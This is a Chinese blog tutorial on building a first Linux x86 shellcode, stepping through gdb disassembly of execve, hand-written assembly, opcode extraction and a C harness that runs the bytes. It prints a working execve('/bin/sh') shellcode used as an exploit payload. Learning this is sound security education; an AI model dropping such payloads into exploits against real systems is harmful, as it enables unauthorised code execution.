第一个shellcode

参考手把手简易实现shellcode及详解

0. 一个弹出shell的小程序

bump_shell.c:

#include<unistd.h>
#include<stdlib.h>

char *buf[]={"/bin/sh",NULL};
void main(){
	execve("/bin/sh",buf,0);
	exit(0);
}

gcc -static -o bump_shell bump_shell.c编译后执行./bump_shell

root@kali:~/shellcode# ./bump_shell
# pwd
/root/shellcode
# exit
root@kali:~/shellcode# 

1. gdb调试分析bump_shell

默认gdb反汇编语法是A&T,看起来有点别扭,所以先把语法设置为Intel格式:

root@kali:~/shellcode# echo "set disassembly-flavor intel" > ~/.gdbinit

对汇编不熟的话可以先看看汇编基础,对gdb调试不熟的话可以先看看GDB十分钟教程
-q(quik)启动gdb:

root@kali:~/shellcode# gdb bump_shell -q
Reading symbols from bump_shell...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
   0x080489cc <+0>:	lea    ecx,[esp+0x4]
   0x080489d0 <+4>:	and    esp,0xfffffff0
   0x080489d3 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080489d6 <+10>:	push   ebp
   0x080489d7 <+11>:	mov    ebp,esp
   0x080489d9 <+13>:	push   ecx
   0x080489da <+14>:	sub    esp,0x4
   0x080489dd <+17>:	sub    esp,0x4
   0x080489e0 <+20>:	push   0x0
   0x080489e2 <+22>:	push   0x80eb068
   0x080489e7 <+27>:	push   0x80bc2a8
   0x080489ec <+32>:	call   0x806d650 <execve>
   0x080489f1 <+37>:	add    esp,0x10
   0x080489f4 <+40>:	sub    esp,0xc
   0x080489f7 <+43>:	push   0x0
   0x080489f9 <+45>:	call   0x804e660 <exit>
End of assembler dump.
(gdb) disas 0x806d650
Dump of assembler code for function execve:
   0x0806d650 <+0>:	push   ebx
   0x0806d651 <+1>:	mov    edx,DWORD PTR [esp+0x10]
   0x0806d655 <+5>:	mov    ecx,DWORD PTR [esp+0xc]
   0x0806d659 <+9>:	mov    ebx,DWORD PTR [esp+0x8]
   0x0806d65d <+13>:	mov    eax,0xb
   0x0806d662 <+18>:	call   DWORD PTR ds:0x80eb9f0
   0x0806d668 <+24>:	pop    ebx
   0x0806d669 <+25>:	cmp    eax,0xfffff001
   0x0806d66e <+30>:	jae    0x8071140 <__syscall_error>
   0x0806d674 <+36>:	ret    
End of assembler dump.
(gdb) disas *0x80eb9f0
Dump of assembler code for function _dl_sysinfo_int80:
   0x08070030 <+0>:	int    0x80
   0x08070032 <+2>:	ret    
End of assembler dump.
(gdb) b *0x0806d662
Breakpoint 1 at 0x806d662
(gdb) r
Starting program: /root/shellcode/bump_shell 

Breakpoint 1, 0x0806d662 in execve ()
(gdb) disas 0x806d650
Dump of assembler code for function execve:
   0x0806d650 <+0>:	push   ebx
   0x0806d651 <+1>:	mov    edx,DWORD PTR [esp+0x10]
   0x0806d655 <+5>:	mov    ecx,DWORD PTR [esp+0xc]
   0x0806d659 <+9>:	mov    ebx,DWORD PTR [esp+0x8]
   0x0806d65d <+13>:	mov    eax,0xb
=> 0x0806d662 <+18>:	call   DWORD PTR ds:0x80eb9f0
   0x0806d668 <+24>:	pop    ebx
   0x0806d669 <+25>:	cmp    eax,0xfffff001
   0x0806d66e <+30>:	jae    0x8071140 <__syscall_error>
   0x0806d674 <+36>:	ret    
End of assembler dump.
(gdb) i r
eax            0xb	11
ecx            0x80eb068	135180392
edx            0x0	0
ebx            0x80bc2a8	134988456
esp            0xbffff358	0xbffff358
ebp            0xbffff378	0xbffff378
esi            0x80eb00c	135180300
edi            0x49656e69	1231384169
eip            0x806d662	0x806d662 <execve+18>
eflags         0x296	[ PF AF SF IF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) p /x $eax
$1 = 0xb
(gdb) x /10c $ebx
0x80bc2a8:	47 '/'	98 'b'	105 'i'	110 'n'	47 '/'	115 's'	104 'h'	0 '\000'
0x80bc2b0:	46 '.'	46 '.'
(gdb) x /10x $ebx
0x80bc2a8:	0x2f	0x62	0x69	0x6e	0x2f	0x73	0x68	0x00
0x80bc2b0:	0x2e	0x2e
(gdb) x /2wx $ecx
0x80eb068 <buf>:	0x080bc2a8	0x00000000
(gdb) p $edx
$2 = 0
(gdb) 

2. 编写shellcode

先比照上述gdb反汇编,抠出可用汇编代码,调通后结合shellcode开发基础精神,精简如下:
shellcode.asm:

section .text
global _start
_start:
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push ebx
xor edx,edx
mov ecx,esp
mov al,0xb ; mov eax,0xb causes too many zero bytes.
int 0x80

编译验证:

root@kali:~/shellcode/asm# nasm -f elf shellcode.asm
root@kali:~/shellcode/asm# ld -o shellcode shellcode.o
root@kali:~/shellcode/asm# ./shellcode 
# pwd
/root/shellcode/asm
# exit
root@kali:~/shellcode/asm# 

提取二进制:

oot@kali:~/shellcode/asm# objdump -d shellcode

shellcode:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
 8048060:	31 c0                	xor    %eax,%eax
 8048062:	50                   	push   %eax
 8048063:	68 2f 2f 73 68       	push   $0x68732f2f
 8048068:	68 2f 62 69 6e       	push   $0x6e69622f
 804806d:	89 e3                	mov    %esp,%ebx
 804806f:	50                   	push   %eax
 8048070:	53                   	push   %ebx
 8048071:	31 d2                	xor    %edx,%edx
 8048073:	89 e1                	mov    %esp,%ecx
 8048075:	b0 0b                	mov    $0xb,%al
 8048077:	cd 80                	int    $0x80
root@kali:~/shellcode/asm# 

放到C代码里验证:
shellcode.c:

void main(){
	char shellcode[]=
		"\x31\xc0"
		"\x50"
		"\x68\x2f\x2f\x73\x68"
		"\x68\x2f\x62\x69\x6e"
		"\x89\xe3"
		"\x50"
		"\x53"
		"\x31\xd2"
		"\x89\xe1"
		"\xb0\x0b"
		"\xcd\x80";
	void (*fp)(void);
	fp=(void*)shellcode;
	fp();
}

效果此处略(注意须开启栈空间可执行权限,gcc -z execstack -o shellcode shellcode.c

posted @ 2017-09-16 14:36  T_1  阅读(203)  评论(0编辑  收藏  举报